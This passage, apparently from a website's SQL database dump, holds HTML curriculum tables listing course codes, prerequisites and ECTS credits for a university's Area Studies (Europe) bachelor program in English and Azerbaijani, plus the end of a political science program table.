 <td style=\"background-color:#993366;color:#ffffff\">&nbsp;</td>\r\n  <td colspan=\"4\" class=\"xl134\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR403</td>\r\n  <td>Political and\r\n  Economic Geography</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR450</td>\r\n  <td>Comparative Politics</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR405</td>\r\n  <td>Political systems of\r\n  Azerbaijan and FC</td>\r\n  <td>PSIR351</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR451</td>\r\n  <td>Modern Integration\r\n  Processes&nbsp;</td>\r\n  <td>PSIR301</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"42\">\r\n  <td height=\"42\">PSIR404</td>\r\n  <td width=\"300\">Foundations\r\n  of Azerbaijan\'s National Security</td>\r\n  <td width=\"91\">&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR500</td>\r\n  <td>Internship&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR400</td>\r\n  <td>Research Methods in\r\n  PS</td>\r\n  <td><br></td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Total Credits</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td style=\"text-align:center\"><strong>264</strong></td>\r\n </tr></tbody></table>  <br>   <div><br></div>'),(6155,3504,'en','Area Studies (Europe)','Area Studies (Europe)','<div style=\"text-align:center\"><br></div><div style=\"text-align:center\"><br></div><div style=\"text-align:center\"><br></div><h3>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Bachelor Program in Area Studies (Europe)</h3><div><br></div><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl120\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong>1st Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl122\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl125\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL101</td>\r\n  <td>English Foundations-1</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC101</td>\r\n  <td>Azerbaijani Culture</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR110</td>\r\n  <td>Introduction to\r\n  Political Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL101</td>\r\n  <td>Azerbaijani Language</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH150</td>\r\n  <td>History of Azerbaijan</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL102</td>\r\n  <td>English\r\n  Foundations-2</td>\r\n  <td>ENGL101</td>\r\n  <td style=\"text-align:center\">8</td>\r\n </tr>\r\n <tr height=\"38\">\r\n  <td height=\"38\">CMS101</td>\r\n  <td width=\"300\">Introduction\r\n  to Computer Science(Science and Technology)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR252</td>\r\n  <td width=\"321\">Culture\r\n  and Art of Europe</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n  <td width=\"51\" style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Social Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Life Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2nd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl122\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl125\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL103</td>\r\n  <td>Academic English</td>\r\n  <td>ENGL102</td>\r\n  <td style=\"text-align:center\">8</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR216</td>\r\n  <td>English for Special\r\n  Purposes</td>\r\n  <td>ENGL103</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZLL105</td>\r\n  <td>Azerbaijani\r\n  Literature</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR251</td>\r\n  <td>International\r\n  Organizations</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">LIT308</td>\r\n  <td>European Literature</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHIL110</td>\r\n  <td>Introduction to\r\n  Philosophy</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanities</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR250</td>\r\n  <td>History of\r\n  International Relations</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Second Foreign\r\n  Language-1(European Languages)</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Social Science</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Second Foreign\r\n  Language-2 (European Languages)</td>\r\n  <td>Second language-1</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>3rd Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl122\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl125\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester&nbsp;</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">HIST144</td>\r\n  <td>History of\r\n  European Countries</td>\r\n  <td>HIST394</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR357</td>\r\n  <td>Ethnopsychology of\r\n  European Countries</td>\r\n  <td>PSIR250</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR300</td>\r\n  <td>Theories of\r\n  International Relations&nbsp;</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR352</td>\r\n  <td>International\r\n  Political Economy</td>\r\n  <td>PSIR110</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR304</td>\r\n  <td>Public International\r\n  Law</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>GEO201</td>\r\n  <td>Geography of European\r\n  Countries&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR301</td>\r\n  <td>Modern Diplomacy</td>\r\n  <td>PSIR250</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Science and Technology</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Humanities</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>4th Year</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl122\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Fall Semester&nbsp;</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl125\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Spring Semester</em>&nbsp;</strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Code</em></td>\r\n  <td><em>Courses</em></td>\r\n  <td><em>Prerequisite</em></td>\r\n  <td><em>ECTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR411</td>\r\n  <td>Economy of European\r\n  Countries</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR460</td>\r\n  <td>EU Law</td>\r\n  <td>PSIR 410</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR401</td>\r\n  <td>Political\r\n  Psychology&nbsp;</td>\r\n  <td>PSIR300</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR500</td>\r\n  <td>Internship&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR400</td>\r\n  <td>Research Methods in\r\n  PS</td><td></td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR410</td>\r\n  <td>Political system and foreign policy of EU</td>\r\n  <td><br></td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Major Elective</td>\r\n  <td>&nbsp;</td>\r\n  <td style=\"text-align:center\">6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>36</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Total Credits</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td style=\"text-align:center\"><strong><em>30</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td><strong>Total Credits</strong></td>\r\n  <td><strong>&nbsp;</strong></td>\r\n  <td style=\"text-align:center\"><strong>264</strong></td>\r\n </tr></tbody></table>'),(6156,3504,'az','Regionşünaslıq (Avropa üzrə)','Regionşünaslıq (Avropa üzrə)','<div><br></div><div><br></div><div><br></div><h3>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Tədris Planı - Regionşünaslıq (Avropa üzrə)</h3><div><br></div><br><table cellpadding=\"0\" cellspacing=\"0\" width=\"1105\" style=\"\" border-collapse:collapse;width:830pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" class=\"xl109\" width=\"1105\" style=\"text-align: center;\" height:16.5pt;width:830pt\"\"=\"\"><strong>1-ci kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl111\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl114\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">ENGL101</td>\r\n  <td>İngilis dili-1</td>\r\n  <td>&nbsp;</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC101</td>\r\n  <td>Azərbaycan Mədəniyyəti</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">PSIR110</td>\r\n  <td>Siyasi Elmlərə Giriş</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZLL101</td>\r\n  <td>Azərbaycan dili</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">AZH150</td>\r\n  <td>Azərbaycan tarixi</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL102</td>\r\n  <td>İngilis dili-2</td>\r\n  <td>ENGL101</td>\r\n  <td>8</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CMS101</td>\r\n  <td width=\"300\">İnformatikaya giriş (Elm və Texnologiya)</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PSIR252</td>\r\n  <td width=\"321\">Avropa Mədəniyyəti və İncəsənəti</td>\r\n  <td width=\"81\">&nbsp;</td>\r\n  <td width=\"51\">6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>Sosial Elmlər</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td><br></td>\r\n  <td>Elm və Texnologiya</td>\r\n  <td>&nbsp;</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">&nbsp;</td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>32</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>Ümumi Kredit Sayı</em></strong></td>\r\n  <td><strong><em>&nbsp;</em></strong></td>\r\n  <td><strong><em>32</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"9\" height=\"22\" style=\"text-align:center\"><strong>2-ci kurs</strong></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td colspan=\"4\" height=\"22\" class=\"xl111\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;height:16.5pt\"\"=\"\"><strong><em>Payız Semestri</em></strong></td>\r\n  <td style=\"background-color:#993366;color:#ffffff\"><strong><em>&nbsp;</em></strong></td>\r\n  <td colspan=\"4\" class=\"xl114\" width=\"535\" style=\"text-align: center; background-color: rgb(153, 51, 102); color: rgb(255, 255, 255);\" border-right:1.0pt=\"\" solid=\"\" black;width:402pt\"\"=\"\"><strong><em>Yaz Semestri</em></strong></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\"><em>Kodlar</em></td>\r\n  <td><em>Fənlər</em></td>\r\n  <td><em>Prerekvizit</em></td>\r\n  <td><em>AKTS</em></td>\r\n  <td><em>&nbsp;</em></td>\r\n  <td><em>Kodlar</em></td>\r\n  